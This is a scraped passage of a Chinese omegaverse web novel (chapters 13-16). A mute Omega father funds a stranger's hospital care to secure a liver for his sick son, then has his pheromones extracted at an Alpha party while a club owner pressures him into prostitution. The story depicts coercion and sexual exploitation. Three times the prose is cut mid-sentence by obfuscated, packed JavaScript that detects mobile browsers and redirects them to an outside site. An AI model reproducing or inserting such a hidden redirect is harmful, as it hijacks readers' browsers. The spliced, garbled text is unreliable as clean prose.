梁小满瘪了瘪嘴,一头扎进妈妈怀里,口齿不清地哭着说:“对不起,妈妈,对不起……小满太没用了,让你这么辛苦……呜呜呜……我不要出生、我不出生就好了!” 喉咙里艰涩得像有砂纸在打磨,梁穗想说没关系,妈妈很爱你,小满是有用的宝贝,但是不管如何努力,始终无法发出声音。 于是,他只是低下头,在儿子湿漉漉的脸蛋上亲了亲,不住拍打着怀中哭得直抽抽的小身体。 是他这个做妈妈的没用……不,不对,他也很有用,晓盈和小满都很有用,母子三人对彼此来说就是最有力、最有用的支撑。 前几天,梁跃东又来要钱了。 目前手里的存款实在有限,这次梁穗说什么都不肯松口给钱。 梁跃东倒也不指望次次都能从自家这个赔钱货手里榨到油水,大多数时候他还是很乐意扮演一个慈父角色的,便也并没有过分纠缠,只是临挂电话前扔下一个似有似无的警告,要是下次梁穗还是不给钱,自己就只能去找孩子他妈了。 这个畜生。 梁穗已经记不清自己是第多少次咒他早点死了。 都说祸害遗千年,老东西明明身体一年不如一年,但就是不肯痛痛快快去死,也不知道还要苟活多久。 要不是受限于信息素压制,他真想豁出去亲自送对方上路。 反正劣等Omega从来就没被当个整人看,权利与义务普遍不受重视,上头还指望他们这帮生育主力军维持逐年下滑的生育率,迄今都没有劣等Omega因违法犯罪入狱的案例——虽然,客观原因更可能是,这群弱势性别者在自愿或非自愿勾引Alpha之外的任何场合都破坏力有限。 只能是空想。 好不容易才把小满哄睡,梁穗已经困得上下眼皮直打架,脑袋一点一点往下垂。 “去洗漱了再睡。”梁晓盈也困得不行,她毕竟也只是个小孩儿,能熬到现在实属不易,一边拽着靠着沙发不想动的妈妈往卫生间走,一边打着哈欠,“幸好你每周只上两天夜班,要是天天忙到这么晚,身体怎么受得住。” 马马虎虎冲了个澡,梁穗连头发都没吹,便跟已经困得走路都发飘的女儿一前一后倒在了床上。 梁晓盈脑袋挨到枕头的一瞬间就睡得宛如深度昏迷,梁穗这个大人却不幸睡迟了几秒。就在意识即将失联的前一刻,电话铃声响起。 Omega痛苦地呜咽一声,迅速点击了接通,避免铃声吵醒孩子们。 “喂,您好,请问是梁先生吗?这里是京洛大学附属第一医院脑外科住院部,付民英女士病情出现急剧恶化,请您尽快赶来医院!” 十分钟后,梁穗重新穿好衣服,悄无声息地出了门。 13. 第 13 章 梁穗急匆匆赶到医院的时候,脑外科住院部28床所在的单人病房外已经站了一个六十上下、精神矍铄的老头。老头手里牵着个小男孩,一老一少正眼巴巴地瞅着电梯的方向,那种溢于言表的急切,简直像是两株正在苦等降雨的枯黄禾苗。 “梁叔叔!” 见梁穗从电梯里出来,小男孩立即跑上前,拉住他的手拼命地往病房里拖:“你快来!快点!快救救我奶奶!” 梁穗被拖得连连踉跄,全靠扶着墙壁才没被拽倒。 “小科!”老头忙呵斥了孙子一声,上前几步,对梁穗挤出一个抱歉的表情,“对不住啊小梁,大晚上的还让你跑这一趟,我老伴儿这病真是没办法……” 一个面容稚嫩的小护士从病房里探出头来,“家属,严永福,你进来一下,刘主任有事跟你说。” 老头忙不迭应道:“哎好,这就来。” 梁穗和他一起进去。 病房里,一位穿着白大褂的中年医生正俯身检查病人的情况,听见动静抬起头,看见梁穗,眉头就皱了一下:“谁让梁先生来的?” 梁穗愣了愣,以为自己又不小心泄漏了信息素,下意识去摸颈间的项环。 还没摸到,就听刚才那个小护士怯怯地说:“是病人家属让我通知梁先生的。” “家属让你通知你就通知啊?问过我了吗就瞎打电话,你带教老师怎么教你的?” 刘主任眉心压出一个深深的川字纹,严永福见状忙说:“我老伴儿她刚才,挺、挺凶险的 ,我这心里是真没底儿……” “病人没事,跟你说过很多次了,脑瘤后期出现癫痫休克都是正常情况,有问题叫医生就行。” 严老头苦着脸:“我一个老头子,带着个小孙子,实在是顾不过来呀。” 刘主任说话并不客气:“顾不过来就叫你儿子儿媳来医院伺候,人家梁先生跟你非亲非故,还是个Omega,动不动就把人家叫过来,这像话吗?” “是,是,确实是麻烦小梁了。” 老头打着哈哈,态度始终挺软和。倒是他身边那个看着才刚到上幼儿园年纪的孙子严科哼了一声,很不忿似的,用整个病房的人都能听到的音量大声说:“我爷爷将来要给他家捐肝的!现在叫他来伺候我奶奶怎么了?要没有我爷爷,他家那个小病秧子就等死吧!” 这话一说出来,病房里霎时安静了。 梁穗紧紧地攥着拳头,没有动弹。 严永福脸皮一抽,兜头就给了孙子一巴掌:“大人说话,有你插嘴的份儿!” 他下手不算重,严科捂着脑袋,嘟嘟囔囔地抱怨了句什么,不再吭声了。 刘主任只当自己刚才什么都没听见,“算了,小梁来了就来了,我正好想抽空找你谈谈病人的事,就今天吧。” “去年做手术之前我已经说得很明白了,病人各项指征都不达标,再说都这么大岁数了,没必要再开刀受罪,你们家属不听,坚持要进行手术,”刘主任表情严肃,隐隐带着几分谴责,“后来上了手术台,一开颅,发现肿瘤侵袭范围太广,几乎与大脑百分之九十以上的重要神经、血管紧密粘连,根本无法切除,只能原样关上,让病人白白遭了一回罪。” 严永福面色讪讪的:“刘主任,您也理解理解我们家属的心情,我跟我老伴儿结婚四十多年,一辈子没红过脸,但凡能有最后一丝希望,我也想咬牙试试。” 刘主任说:“问题就在于,一丝希望都没有。我这人脾气你也知道,我就直说了,病人目前就是在熬日子罢了,现如今的这些治疗措施只能替她吊着这口气,但不可能让她病情好转,你们耗再久也只是烧钱,真的,听我一句劝,最后这段时间就让病人安安生生地睡过去吧。” 老头讷讷地说不出话,刘主任干脆冲梁穗说:“梁先生,你是交钱的那个,我就跟你说吧,我建议你可以考虑给病人办理转院了,我帮你们介绍一家临终关怀医院,费用比耗在我们院要低得多,没有过度医疗,就是一些姑息治疗,对病人对家属都好。” 梁穗迟疑了一下,还没来得及做出反应,严永福已经搓了把脸,上前一步,仿佛下定决心般问:“那,转院之后,我老伴儿还能活多久?” 刘主任看了他一眼,说,“两三个星期吧。” “什么?不行不行!”老头差点没跳起来,激动得脸都红了,“两三个星期怎么行?怎么都得拖到我儿媳妇肚子里的孙女生下来!那可是我们老严家连着三代以来的第一个Alpha!我老伴儿要是见不着小孙女最后一面,怎么能走得安心啊!” “病人现在已经是深度脑昏迷,接近脑死亡的状态了,就算你把孙女抱到她面前,病人也感知不到。” “不成不成,这绝对不行!刘主任,我请你千万要想想办法!”严永福急得直想给刘主任下跪,“不是、不是说咱们医院刚从国外进口了一台新仪器吗?23床那个小姑娘就是被那台机子治好的,你给我们也用上,钱不是问题,我们一定想办法!” “你这叫什么话!你们跟人家小姑娘的情况能一样吗?”刘主任起初还有些动容,听到后来脸色就不好看了,尽管尽力掩盖还是流露出了三分鄙夷,“还钱不是问题,你知道那台质子脑愈仪启动一次要多少钱吗?哦,对你们来说当然不是问题了,出钱的又不是你们,就可着劲儿压榨人家一个Omega呗,真好意思啊!” 老头泪眼婆娑:“我也是没办法,总不能眼睁睁看着我老伴儿去死啊。” “嘿你这人——” “刘主任!” 旁边医办室里出来一个男医生,一手拉着着急上火的刘主任,一手拉着愣在原地不知所措的梁穗,好声好气打着圆场,“行了行了,咱们来办公室说……那个谁,严大爷,您先别哭,您放心,我们医院肯定会尽全力救治病人!” - 一进医办室,刘主任的脸色就彻底沉了下来,把眼镜一脱,桌子拍得砰砰响:“我工作这么多年,就没见过这么不要脸的一家子!” “年前他们来办住院的时候崔莉就给我说了,底下儿子儿媳都有正式工作,老头自己也有医保,你猜怎么着,缴费的时候叫人家小梁一个连居留证都没有的劣等Omega来!把崔莉都看愣了,反复确认了好几遍都不敢给他们办手续,这是闹着玩的吗,啊?” “教育、医疗!这两项基础开支要是哪天断缴了,小梁的个人风险评级直接挂红!治安局24小时之内就得上门调查情况!有这么害人的吗?” 她气得直喘粗气,走到饮水机边接了半杯水灌下,喘了口气,才又接着说:“他家那老太太自打入院以来,大大小小该做的不该做的检查、治疗统统做了个遍,怎么劝都没用,合着不是自己出钱不心疼是吧?周斌你听说了没有,爷孙俩连去食堂打饭都是记在人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314667|182931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家小梁名下一月一结的!你见过这么不要脸的人吗?” 周大夫陪着笑劝:“刘主任您也消消气,知道您老嫉恶如仇,但您这个月要是再被人投诉,医务科那新上任的小邹科长真得来咱们科室掀桌子了。 ” “我怕他不成?”刘主任一瞪眼睛,“我就是看不惯那老鳖孙一家这么欺负一个Omega!哪有这样的人!” 在医办室指天骂地发泄了一通,刘主任勉强冷静下来,看向似乎被自己吓得手足无措的梁穗,语气放缓:“来,小梁你坐,你听我跟你说,严家的事你就别管了,那就是个无底洞,你往里填再多钱也没用,多为自己考虑考虑吧,啊?” 她话说得中肯,梁穗却只是低头默默听着,良久,抽出一张便签,在上面写道:“用那台仪器,要花多少钱?” 刘主任无奈,“不是仪器的事,去年你陪床了两个月,难道还不明白吗?我们医生只能救生,不能救死,老太太如今只要身上管子一拔,那基本上就是在数日子了,现阶段的治疗对她来说没有任何意义。” “不是为了她,”梁穗低着头,一笔一画都写得用力,手指关节微微发抖,“是为了我家小满。” 梁穗一直都明白,这一年多以来,他为严家花的这些钱,其实就是给小满的买命钱。 小满出生时即患有肝母细胞瘤,当时病灶还只局限于肝左外叶,手术条件较好,还没出新生儿病房就做了第一场手术。 可惜这场手术愈后不佳,小满之后几年里经历过多次复发,常规疗法已经很难起效,多亏当时的主治医生为他推荐了一款进口的特效药,可以暂时控制癌细胞增殖,但若想根治,只能进行肝脏移植。 小满血型特殊,等了七年,才终于等来这一例配型成功的□□。 器官不能买卖,这个主动找上门的珍贵□□,自然需要付出一些额外的代价。虽然,他明知这并不合规。 但他不可能放弃。 - 梁穗缴完费回来的时候,严永福依旧在病房门口等他,接过他手里的收据单就开始千恩万谢:“谢谢,谢谢小梁,真是多亏你了!你放心,等圆了我老伴儿的最后心愿,我立即给咱们小满捐肝!” 梁穗困倦地,迟钝地点了点头。脑子里好像有一面铜锣在不停地敲,震得他晕晕乎乎的,走路都有些发飘。 “我以后会按时缴费,”他将写满字的便签递过去,“最近工作很忙,没事的话不要再叫我过来了。” 严老头点头哈腰,“那是那是,工作要紧,我也觉得不能总麻烦你来照顾,这两天一直想着要不雇个护工。” 梁穗伴着熹微的朝霞走出医院大门,一边走一边删着手机里的小额贷款短信。 不删不行,晓盈定期查他的手机,万一被发现了就糟了。 删着删着,眼前的字符出现了重影。 太困了,赶快回家补觉吧。幸好今天休班,不然这个状态去上班,打碎碗盘又要扣工资了。 突然,正在手机屏幕上机械滑动的手指一顿,两条来自爱洁洗护丁哥的短信出现在信息栏里。 脑子里嗡嗡地响着,梁穗很困又很头晕,反应也慢,站在原地发了好一会儿呆,才揉了揉眼睛,凑近屏幕去细看。 【小梁,你搬去哪儿了?新地址在群里发一下】 【上次预约都拖了多久了,你再不去,客人该生气了啊】 14. 第 14 章 周日,天气晴好。梁穗安顿好两个孩子,坐上丁翔的车,前往上次客户预约的地址。 “小梁,不是你丁哥说你,做人,最要紧的就是诚信!就今天这活儿你都答应了快三个月了,推三阻四拖到现在,你叫我怎么跟客人交代?啊?你微信是不是把我屏蔽了?给你发了那么多条消息,好歹回我一句,往后到底怎样你给我个准话,也不好老让人家老板干等着不是?” “小梁你这脾气真该改改了,看着老老实实的,怎么这么有主意呢?咱可不能这么办事呀……” 车厢里烟气弥漫,丁翔嘴里叼着烟,一边絮絮地念叨着一边一边猛踩油门,将一辆二手丰田开出了赛车的架势,终于赶在黄灯变红的前一秒冲到了马路对面。 梁穗坐在副驾,扭着头,专注地盯着车窗外飞速掠过的模糊风景,对于司机喋喋不休的抱怨数落始终没有做出任何反应。 车子右行,驶入一条林荫小道,远远可见某欧式古典风格的高档小区大门,目的地近在眼前。 “还是上次跟你说的那个地址,”一脸衰相的Beta松开油门,总算放弃说教,谈起更实际的话题,“B栋17号,记住了吗?” 梁穗把头转过来,看了他一眼,慢慢点了点头。 丰田在路边停下,梁穗下了车,走到后备箱那边拿清洁工具。 “杨大夫应该已经到了,你待会儿进屋先去找他,别跟上次似的弄得拖拖拉拉,差点出事。”丁翔从车门后探出半边身子叮嘱,“完事了赶紧出来啊,我在前面那家商超的停车场等你,知道是哪儿吧?” 梁穗好似没听见这句问话,将沉重的工具包往肩上一甩,扭头就要往小区里走。 丁翔看出他情绪不对,一把拉住他胳膊,苦口婆心劝道:“小梁,你别多想,丁哥也是为你好!咱们职业无贵贱,干一行就得守一行的规矩,不求你干得多好,至少态度这块不能拖后腿,不会说话就多笑笑,长点眼力见儿,客人高兴了还能多给你包个红包,懂吗?” 梁穗挣开他的手,面无表情,郑重比划:「最后一次,以后我不会再做了。」 丁翔以前做社区志愿者的时候学过一点手语,后来跟梁穗搭伙帮他介绍活儿,合作多了,彼此间交流倒也算顺畅,当时脸上就露出几分不赞同的神色来:“小梁你这就狭隘了啊,是不是你家那小丫头又说闲话了?小孩子家家懂什么呀,这年头低阶又独身的Omega赚点钱不容易,你可别钻牛角尖……哎哎!小梁!” 梁穗不再理他,扛起工具包径直往小区门岗走。 他换了新项环,勉强收敛了信息素,身上穿着保洁服,工具准备得也齐全。门岗保安看了他好几眼,目光古怪地上下扫视他高大健硕得几乎会令人误以为是Alpha的身材上,但见他拿的门禁卡确实是属于某业主,便也没有多加阻拦。 梁穗根据丁翔提供的地址,很快就找到了自己要服务的那户人家,按响了门铃。 几秒钟后,一名穿着白大褂,戴着副金丝眼镜,气质儒雅的中年男子来给他开了门,一见他就露出了松了口气的笑脸:“你可算来了,小梁快,快进屋。” 梁穗紧了紧压在肩上的工具包带子,不易察觉地深呼吸了一下,尽量面色如常地走进屋内。 客厅沙发上已经坐了几个人,两个Alpha,两个Omega,一女三男。其中那两个Omega男孩看起来年纪都很小,大概才刚刚成年,容貌身材都带着几分稚气,眼神里却已经浸透了风月中人惯有的娇柔妩媚,正一人一个坐在两位Alpha大腿上,亲昵地搂着金主的脖颈,眼神好奇而暧昧地打量着这个进入客厅的陌生男人。 四人的等级应该都不低,刚一踏入客厅,梁穗就感受到了一种仿佛是草食性动物不慎误闯虎狼一类天敌领地的危机感。 所有的感官都在瞬间敏锐了数十倍,视觉、听觉、嗅觉所感知到的一切,包括空气中那股裹挟着混杂的AO信息素的微弱气流,全都在向主人传达着此地不宜久留的危险信号。 “咦?”靠坐在那位女性Alpha怀里的男孩忽然惊呼了一声,小巧的鼻尖不停耸动,像是嗅到什么格外奇特的气味,目光慢慢锁定到梁穗身上,“你,你是劣等Omega吗?好……唔,香的味道,啊!晴姐好讨厌,反应太大了吧,明明刚刚才……你很喜欢他么?” 意态慵懒的女人打了个哈欠,眉目风流,唇边含笑,显然很受用男孩故作吃醋的嗔声。随手掐住他那把不过巴掌宽的小细腰,十分轻佻地往上顶了两下,“没办法,天赋异禀。” “你好下流!嘻嘻~” 梁穗脊背挺得发僵,眼观鼻鼻观心,假装自己是个瞎子聋子,心脏却已经开始急速跳动,呼吸也因为这沉重的压迫感而被迫变得急促。 女人的目光,一直牢牢钉在他身上。 像是一头母狼正在饶有兴味地打量一只傻乎乎蹦到自己嘴边的肥兔子,梁穗几乎产生了一种被腥风环绕的战栗错觉。 “你就是梁穗?”他听到她问。 梁穗咽了口口水,很费劲地把这个头点下去。 “长得不怎么样嘛,”是那个表情冷峻、容貌跟女人有五六分相似的男性Alpha的声音,嘴里嚼着口香糖,懒懒散散的,“姐,你确定没找错人?哪有这么壮实的Omega,你看他那块头,都快顶得上两个凯文了,哈。” 真是无礼又伤人的评价。 梁穗听得气闷,想跟他争论一番Alpha应该尊重Omega外形的多元化审美,至少不能这样口出恶言,但想起自己今天来这里的目的,便又只好强行忍下了不快。 “换换口味嘛,”女人倒并不怎么在意的样子,“而且味道挺好闻的,哎,梁穗,你别站着了,过来坐吧。” 男人吹了个泡泡,也无可无不可地朝梁穗勾了勾手指:“也是,来都来了,你过来,我验验货。” 梁穗看着这对放浪形骸的Alpha姐弟,站在原地没动。 “操,你聋了?过来啊。” 这时,先前那位为梁穗开门的杨大夫开口:“林小姐,林少,这位梁先生是不准直接接触的,丁老板应该已经跟你们说过了。” 林小姐想了想,“好像是有这么回事,怎么,他没有黄色执照吗?” 杨大夫解释:“劣等Omega一般都不会办黄色执照的,他们的从业要求是终身制,一旦注册办理,终生都无法再从事其他行业。” 林少嗤笑一声:“本来不就该这样吗?劣等小母狗,除了当婊子还能干嘛?” 又来了。 指甲深深嵌入掌心,梁穗低下头,感受着胸口中涌动的犹如烈火烹油一般的烧灼刺痛,牙关紧咬,腮帮肌肉都在隐隐作痛。 从小到大不知听过多少遍的,身为劣等Omega的自己那唯一的出路——不,只是堕落,只能堕落。 人类分化史上的残次品,除了充当Alpha一时兴起的玩物之外,别无选择。 “好可惜啊,”林小姐遗憾地叹了口气,“不过,我付给你的价格可不算低吧,要是不卖身,你打算卖给我什么呢?” “总不会是真打算来这儿做扫除的吧?” 林少兴趣耗尽,嗤笑一声,抱起属于自己的那个Omega,大步走回了卧室,门还没关,长相妖媚的男孩已经主动送上香吻,后面的动静很快就变得不堪入耳了。 只剩林小姐,还在一边慢悠悠揉捏着怀中Omega的一身雪白皮肉,一边目不转睛地盯着面带窘色的梁穗。 “……” 梁穗定了定神,看了杨大夫一眼,对方点点头,回给他一个安心的眼神。于是,他将手指按在颈上项环的密码解锁位置,拨动了几下数字盘,“咔嗒”一声,锁开了。 一股浓烈得几乎要凝结成实质的栀子香倾泻而出。霎时间,浓香的汪洋淹没了整个宽敞的餐客横厅,并且迅速蔓延向其他房间。 散发着强烈荷尔蒙的气息怯怯缠上她的衣梢与鬓角,林小姐眼神迷离了一瞬,下一刻,卧室里的男孩发出一声甜腻的尖叫,声音哆嗦着,上气不接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是命定之番吧?”林小姐在离他三步远的地方停下,彬彬有礼地询问,“并没有那种一见钟情、如坠爱河的触电感呢。” 只有狂热奔腾的,渴望着以鲜血与暴力将眼前这个高大丰满的Omega彻底征服、撕碎的,官能的欲望。 近距离接触高阶Alpha的信息素,梁穗双腿发软,逃跑的冲动在体内疯狂叫嚣,但是林小姐并不是他以前遇到的那些有便宜不占白不占的地痞流氓,她是他正经的雇主,她付钱请他来,自己有义务为对方提供与价格同等的服务。 “只是一种比喻,现实里哪有什么命定之番,比起虚无缥缈的爱情,当然是欲望更真实。” 杨大夫身为Beta,并不受AO信息素干扰,即便面对已经展露出明显进攻企图的Alpha依然能面不改色,只是将身后的梁穗护得更紧,“林小姐,请您与他稍微保持一些距离,您知道的,劣等Omega可能承受不住您的威压。” 林小姐“唔”了一声,但并没有退开,抱着胳膊问:“那我要怎么使用他?就让他在房间里待着,给我充当,嗯,人形春药?不太合适吧。” 毕竟,据说劣等Omega的敏感度是正常Omega的十倍以上,就这么把人晾在一边,颤抖地,湿漉漉地,可怜巴巴地被冷落…… “那倒不至于,我会负责提取梁先生的信息素供您二位使用,劣等Omega的信息素离体半小时后就会失活,所以才必须将梁先生一起叫来,进行现场提取。” 杨大夫委婉而间接地表明梁穗的到来只是为了效力考虑,而非是让他加入战局的意思。林小姐面上憾色加深,但仍颇具淑女风度地表示理解,并且终于为两人让开了去往客房处理信息素提取工作的道路。 梁穗将项环重新戴了回来。虽然这完全没必要,但能够避免脆弱的腺体暴露在 Alpha极具压迫性的审视与信息素威压之下,多少让他有了几分安全感。 门铃声又响了。 林小姐亲自去开门,四五个年轻Alpha各自携着玩伴,说说笑笑走进来,虽然俱是衣着笔挺,气度不凡的精英模样,但那股放浪不羁的玩咖气质已经展露无疑,看样子都是为了这次“聚会”而来。 就像一群发情期间聚集在一起乱来的动物。 轻微的反胃感涌上喉头,梁穗低下头,拎起沉重的工具包,跟在杨大夫身后默默走进了客房。 背后投来几道隐晦的视线,有人喊了他一声,声音有些耳熟,大概是从前的某位客人,但梁穗没有回头。 15. 第 15 章 为了防止突发发情期或易感期等意外状况,如今的AO夫妻在结番后都会互相彼此赠送自己的信息素提取物,逐渐已成惯例。 与此相关的一系列技术都已发展得较为成熟,医师操作得当是感觉不到痛苦的。 然而,对于腺体格外脆弱敏感的劣等Omega而言,这一过程绝对称不上好受。 杨大夫坐镇洛市某街道诊所多年,算是个中熟手,工具又齐全,不过十来分钟就已经提取出一小瓶透明的信息素凝集液。而梁穗此时整个后背都被汗水湿透了,额头鬓边都浸着冷汗,趴在桌子上极力平复着呼吸。 等那根细细的针头从他颈后熟红的腺体中拔出时,罹患严重失语症的男人难以抑制地发出一声苦闷的呻吟,仿佛是一条被人剖开肚腹暴露内脏肠腔的鱼,杨大夫清晰地看到从他侧面颈部爆起的一根青筋,数秒之后才缓慢地、无可奈何地回复如初,只在麦色肌肤之上留下一大片亮晶晶的汗液,宛如半干的泪迹一般。 “呼、呼……” 梁穗大口喘着气,手指颤抖着去摸刚才取下的项环。 酸胀,刺痒,麻木,滚烫发热……种种不适感一齐施加于那个本该被悉心呵护的娇嫩器官,冰凉的金属项环贴上来的一瞬间,几乎让他产生了一种抓到救命稻草的安心感。 “没事,没事,不要紧张,”杨大夫熟练地为他推注了一支抑制剂,安慰道,“我是严格按照安全剂量提取的,不会提前诱发发情期,放轻松,不要大口呼吸……” 抑制剂在劣等Omega体内起效很慢,但总归聊胜于无。 梁穗听从杨大夫的指挥,改为克制的小口呼吸,慢慢地终于平静下来。他用手背抹了把湿乎乎的眼睛,然后对面前的医生伸出三根手指。 杨大夫很快就明白过来他的意思,不由失笑:“好,小梁这次辛苦了,我就作主再多分你三支抑制剂。” 梁穗这才放心。 杨大夫安顿好他,便拿起那瓶信息素提取物准备去交差,“你先在这里休息会儿,我把东西给林小姐她们送过去。” 梁穗点点头,重新趴回了桌上。 杨大夫的脚步声和关门声一起消失后,梁穗有点犯困了,但没必要在这种地方打盹儿,等杨大夫回来,他们马上离开。 这样想着,梁穗却觉得越来越困倦。 信息素在短时间内的大量抽离使得身体认定他遭受到了Alpha的掠夺,出于机体的自我保护,睡眠这一最低成本恢复体力与能量的休养方式就成了最佳选择。哪怕他强撑着不愿睡去,意识却逐渐变得模糊,身体越来越沉,飘飘忽忽,仿佛置身云端……直到耳中传来一声轻微的啪嗒声。 那似乎是门锁锁舌弹开时发出的声响。 睡意一瞬间踪迹全无,梁穗猛地抬起头,警觉地望向门口的方向。 这时他才发现门已经开了一条缝,外头那些不堪的靡靡之声与气味一波一波涌进来,几乎让人以为自己身处某类限制级影片的拍摄现场。 竟然在走廊上…… 梁穗咬了咬唇,心中厌恶之意更重,他站起身,想去把门关好,等杨大夫回来……杨大夫,为什么这么久还没有回来? 正在他怔愣的短短几秒钟内,门缝被推得更大,一个衣冠楚楚的中年男人从外面走进来,扬起手跟他打招呼:“嗨,好久不……啊,别紧张,我只是来找你叙叙旧,梁穗。” 梁穗屏住呼吸,紧紧盯着来人的脸。 看了一会儿,发现对方是个Beta,他心里紧绷的那根弦就松了下来,又依稀想起来,这人,似乎是某个夜总会的老板,叫孟、孟…… “孟华咏,燕庭国际会所,想起来了吗?”男人礼貌地自我介绍,“去年你刚开始做这一行,丁翔还托我帮你拉了不少客人呢,咱们,多少也能算是朋友了吧?” 梁穗抿了抿唇,想纠正自己并没有投身风月行当,但这人不懂手语,写字又太麻烦,最重要的是,梁穗并不认为有跟他沟通的必要。 并没有理会孟华咏的搭讪,梁穗仰头往门口位置瞧,想看看杨大夫是不是已经回来了。这次时间似乎有点太久了,以前杨大夫都是几分钟就能拿到尾款回来的。 “不用等杨大夫了,”似是瞧出梁穗心中所想,孟华咏悠悠抛下一个重磅炸弹,“他已经走了。” 梁穗一愣,走了? 怎么可能,杨大夫,杨大夫是丁翔专门安排来保证他的人身安全的,他一个劣等Omega,如果没人保驾护航,那他……他待会儿该怎么走出这栋AO正在无所顾忌地狂欢的房子? 空气中的混乱气息更浓郁了,梁穗隐约能嗅到那股属于自己的栀子甜香,夹杂在气味香型各异的大量信息素中,正高效地、熟稔地充当着催化剂,将这场淫乐聚会的气氛一再推向高潮。 孟华咏握住门把手,将门重新上锁。 几乎就在锁簧卡住的下一刻,一阵巨大而猛烈的撞门声传来,惊得梁穗整个人都弹了一下,下意识退后了几步。 “里面……还有个Omega呢。” 不知是酒精还是药物使然,门外的笑声显得含含糊糊的,语气亲热轻佻,砸门声却越来越响。那种沉重的动静,简直像是一头亟待破门而入的野兽。 “宝贝,要不要出来一起玩?一个人待着多没意思,出来啊,哥哥替你介绍几个有趣的朋友,哈哈……” 梁穗手脚阵阵发冷。 不行,这里,这里不安全,不能继续待下去了 ,必须马上离开…… 他慌乱地四下张望着,寻找着其他逃生的通道,心神已经完全没有放在房间内的另一个人身上了。 孟华咏不得己拍了拍手,试图唤回他的注意力,“冷静一下,听我说,梁穗,你不用害怕,我是来帮你的,有我在,外面的人不敢闯进来。” 见梁穗还是不搭理他,孟华咏叹了口气,转身走到门口,提高音量,隔着门板对聚集在走廊上的Alpha们说:“好了,都散开吧,这次来的Omega不够你们分吗?我会再叫人送几个新鲜货色过来,别再来骚扰我的客人了。” 他语调平和,并不严厉,还是个Beta,但门外的Alpha们意外地听话,虽然不甘,却也没有多做纠缠,很快就吵吵闹闹地走远了。 梁穗提着的心并没有放下,反而愈发警惕。 Alpha,是很注重等级秩序的一类性别。就像一群狗聚集在一起会自然而然地区分出上下高低,高位者统率群体,低位者忠实服从,这是刻在他们基因中的本能。 能够令Alpha服从的Beta……会是什么简单人物吗? 燕庭国际,那家在整个洛市也数一数二叫得上号的顶级会所…… 梁穗越想越心惊 ,看向孟华咏的眼神就像在看一头披着人皮的怪物,而后者只是温和一笑,声色更柔,神情叹惋。 “我听丁翔说,你自打金盆洗手之后,日子就一直过得挺艰难……唉,一个劣等Omega,带着两个拖油瓶,还能有什么好出路呢?你要是不介意,我倒是可以帮你指条明路。” 梁穗忽然猜到他想跟自己说什么了, 不等孟华咏接着往下说,他用力地、郑重地摇了摇头,以实际行动提前拒绝了对方未出口的提议。 “我不去你店里工作。” 梁穗不再嫌麻烦了,掏出便签飞快地写下这句话。想了想,又觉得说得不够明白,便又加了一句:“我不卖身。” 写罢,将便签撕下来,重重拍在孟华咏面前的桌面上,以示坚决。 孟华咏扫了眼那张便签,并不如何在意,只是问:“那你怎么赚钱呢?就凭你现在打打零工,干点体力活儿,能养得起两个孩子吗?你家那个生病的男孩子,光吃药就得不少钱吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁穗耳边嗡地一声,宛如一道惊雷贴着头皮炸开,他浑身都僵了一下,片刻后才想起摇头,急得下意识比划起来,「胡说、污蔑!我没有做过那种事!」 “哦?你是想说你,嗯,卖艺不卖身?”孟华咏看不懂他的手势,但能看懂他的表情,便呵呵笑起来,“这话,你拿出去对别人说还成,在我面前就不用遮遮掩掩了。场子里的事,就没有我孟某人不知道的。” 「没有,不是的,没有这种事。」 梁穗手哆嗦起来,像是要摆脱掉什么可怕的事物,他拼命摇着头,无论如何都不肯接下这番指责,那副笨拙、惊惶、执拗的模样,简直都有些可怜了 。 孟华咏宽容地说:“不用怕,我不会逼你去办黄色执照……哦,你还不知道吗?劣等Omega,一旦向Alpha卖春,就视为自愿加入风月行业,当然,你执意不从的话,那也不会勉强,毕竟现在是人权社会嘛,我们不干强买强卖的生意。” “只是——”男人话锋一转,直视着Omega仓皇发白的面容,微微一笑,“那样的话,梁穗,你可能就要背上妄图扰乱社会公共秩序的指控了。” “谁都知道你们这些劣等品的信息素对Alpha的影响有多大,不肯接受行业规范管理,凭借个人喜好肆无忌惮行事,迟早要出大乱子的。” “风险评级不用说,一定会大幅上涨,再严重一点的话,你或许就该考虑自己和儿女被驱逐出洛市之后的下一步打算了。” “如何?还是跟我合作比较明智吧? ” 他的“劝诫”很有效,Omega的手已经完全从门把手上放下来了。 梁穗此刻的表情说得上是失魂落魄,他肩膀发抖,似乎在极力忍耐着某种情绪,眼圈慢慢发红,紧咬的下唇渗出了血珠,可好像根本没感受到疼痛,他费劲地、大口地喘着气,颧骨涌上一片汹涌的血色。 「我没有,」他茫然地比划着,已经不是在与他人沟通,而更像是在发泄积压已久的情绪,手势凌乱,或许此刻再来一个懂得手语的人都不一定能看懂他想表达什么,「我没有卖身,没有,没有自甘堕落。」 他只是,只是—— 16. 第 16 章 两年前,为了躲避逼迫自己进入某地下秀场工作的梁跃东,也为了前去与通过器官捐献中心主动联系自己的严家人会面,梁穗带着两个孩子来到了洛市。 他带来了自己之前瞒着梁跃东攒下的积蓄,不多,也就两三万,本来打算全部当作愿意给小满捐肝的好心志愿者的感谢费,手术费再想办法申请福利贷款。但刚跟严家人打了个照面,梁穗就意识到事情似乎并不像自己想的那么简单。 跟小满配型成功的是严家老爷子严永福。 他没有收梁穗的感谢费,只是表示自己年纪大了,上了手术台万一有什么意外,病重的老伴儿没人照顾,希望能看到老伴儿病情好转之后再捐,就算后面手术真出了什么意外,也算是这辈子没落下遗憾了。 